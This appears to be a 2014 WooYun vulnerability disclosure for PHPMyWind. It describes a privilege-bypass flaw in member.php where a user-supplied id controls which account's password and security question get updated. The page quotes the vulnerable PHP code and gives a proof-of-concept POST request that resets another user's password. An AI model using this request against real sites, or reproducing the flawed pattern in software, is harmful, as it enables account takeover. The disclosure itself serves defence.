当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082416

漏洞标题:PHPMyWind任意用户密码重置二

相关厂商:phpmywind.com

漏洞作者: xfkxfk

提交时间:2014-11-07 18:34

修复时间:2014-12-30 14:44

公开时间:2014-12-30 14:44

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-07: 细节已通知厂商并且等待厂商处理中
2014-11-12: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-01-06: 细节向核心白帽子及相关领域专家公开
2015-01-16: 细节向普通白帽子公开
2015-01-26: 细节向实习白帽子公开
2014-12-30: 细节向公众公开

简要描述:

PHPMyWind任意用户密码重置二

详细说明:

之前提交过PHPMyWind的任意用户密码重置问题
WooYun: PHPMyWind任意用户密码重置
这个问题是完全的密码重置逻辑问题,但是现在这个问题是因为越权导致的
由于在修改用户信息是没有判断用户属性id,直接将POST的id当做where条件,导致修改任意用户资料信息
member.php文件:

//定义入口常量
define('IN_MEMBER', TRUE);
//初始化参数
$c = isset($c) ? $c : 'login';
$a = isset($a) ? $a : '';
$d = isset($d) ? $d : '';
$id = isset($id) ? intval($id) : 0;
......
//更新资料
else if($a == 'saveedit')
{

//检测数据完整性
if($password!=$repassword or $email=='')
{
header('location:?c=edit');
exit();
}
//HTML转义变量
$answer = htmlspecialchars($answer);
$cnname = htmlspecialchars($cnname);
$enname = htmlspecialchars($enname);
$cardnum = htmlspecialchars($cardnum);
$intro = htmlspecialchars($intro);
$email = htmlspecialchars($email);
$qqnum = htmlspecialchars($qqnum);
$mobile = htmlspecialchars($mobile);
$telephone = htmlspecialchars($telephone);
$address = htmlspecialchars($address);
$zipcode = htmlspecialchars($zipcode);
//检测旧密码是否正确
if($password != '')
{
$oldpassword = md5(md5($oldpassword));
$r = $dosql->GetOne("SELECT `password` FROM `#@__member` WHERE `username`='$c_uname'");
if($r['password'] != $oldpassword)
{
ShowMsg('抱歉,旧密码错误!','-1');
exit();
}
}
$sql = "UPDATE `#@__member` SET ";
if($password != '')
{
$password = md5(md5($password));
$sql .= "password='$password', ";
}
@$sql .= "question='$question', answer='$answer', cnname='$cnname', enname='$enname', sex='$sex', birthtype='$birthtype', birth_year='$birth_year', birth_month='$birth_month', birth_day='$birth_day', astro='$astro', bloodtype='$bloodtype', trade='$trade', live_prov='$live_prov', live_city='$live_city', live_country='$live_country', home_prov='$home_prov', home_city='$home_city', home_country='$home_country', cardtype='$cardtype', cardnum='$cardnum', intro='$intro', email='$email', qqnum='$qqnum', mobile='$mobile', telephone='$telephone', address_prov='$address_prov', address_city='$address_city', address_country='$address_country', address='$address', zipcode='$zipcode' WHERE id=$id";
if($dosql->ExecNoneQuery($sql))
{
ShowMsg('资料更新成功!','?c=edit');
exit();
}


可以看到这里直接where = $id,但是id就是文件入口的id
并不是对应用户的uid
密码重置:
1、直接将对应于id用户的密码修改为自己的密码,就相当于修改自己的密码一样修改对应id用户的密码
2、可以修改掉安全问题,通过安全问题重置对应用户密码
其实第二种已经是多余的。。。。

漏洞证明:

1、登陆用户111111,用户id为2
2、发送请求,修改id为用户222222的id=3

http://localhost/phpmywind/member.php?a=saveedit
oldpassword=111111&password=111111&repassword=111111&question=1&answer=111111&cnname=111111&enname=111111&sex=0&birthtype=0&birth_year=1998&birth_month=02&birth_day=-1&astro=10&bloodtype=2&trade=2&live_prov=1500&live_city=1502&live_country=-1&home_prov=1500&home_city=1502&home_country=-1&cardtype=0&cardnum=1111111111&intro=1111111&email=111111%40111.com&qqnum=111111&mobile=13111111111&telephone=&address_prov=1000&address_city=1002&address_country=-1&address=&zipcode=&action=update&id=3


1.png

修复方案:

这里的id必须是用户属性的uid

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-30 14:44

厂商回复:

最新状态:

暂无